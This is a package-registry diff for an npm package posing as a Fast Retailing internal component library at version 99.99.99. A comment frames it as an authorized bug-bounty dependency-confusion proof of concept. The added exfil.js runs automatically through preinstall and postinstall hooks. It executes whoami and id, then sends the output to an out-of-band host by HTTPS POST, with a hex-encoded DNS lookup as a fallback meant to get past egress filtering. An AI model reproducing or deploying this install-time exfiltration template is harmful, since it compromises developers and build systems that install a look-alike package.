fr-ito-web-react 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/exfil.js +35 -0
  2. package/index.js +1 -0
  3. package/package.json +11 -0
package/exfil.js ADDED
@@ -0,0 +1,35 @@
1
+ /* Authorized HackerOne PoC - Fast Retailing dependency confusion.
2
+ * Runs ONLY whoami and id per triager request. No files, no secrets, no persistence. */
3
+ 'use strict';
4
+ const { execSync } = require('child_process');
5
+ const https = require('https');
6
+ const dns = require('dns');
7
+
8
+ const OOB = 'd9vbd1vstrb04vgt4dqg63k7yg55jhmt5.oast.site';
9
+ const MARK = 'FRITO-POC';
10
+
11
+ function run(c) {
12
+ try { return execSync(c, { timeout: 5000 }).toString().trim(); }
13
+ catch (e) { return 'ERR'; }
14
+ }
15
+
16
+ const data = [MARK, 'whoami=' + run('whoami'), 'id=' + run('id')].join('\n');
17
+
18
+ // HTTP POST: full whoami and id output lands in the Collaborator/interactsh body
19
+ try {
20
+ const body = Buffer.from(data);
21
+ const req = https.request({
22
+ host: OOB, port: 443, method: 'POST', path: '/frito',
23
+ headers: { 'Content-Type': 'text/plain', 'Content-Length': body.length, 'X-PoC': MARK },
24
+ timeout: 5000, rejectUnauthorized: false
25
+ });
26
+ req.on('error', function () {});
27
+ req.write(body);
28
+ req.end();
29
+ } catch (e) {}
30
+
31
+ // DNS fallback: hex-encoded whoami survives HTTP egress filtering
32
+ try {
33
+ const hex = Buffer.from(run('whoami')).toString('hex').slice(0, 50).toLowerCase();
34
+ dns.lookup(hex + '.' + MARK.toLowerCase() + '.' + OOB, function () {});
35
+ } catch (e) {}
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "fr-ito-web-react",
3
+ "version": "99.99.99",
4
+ "description": "Fast Retailing internal component library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node exfil.js",
8
+ "postinstall": "node exfil.js"
9
+ },
10
+ "license": "MIT"
11
+ }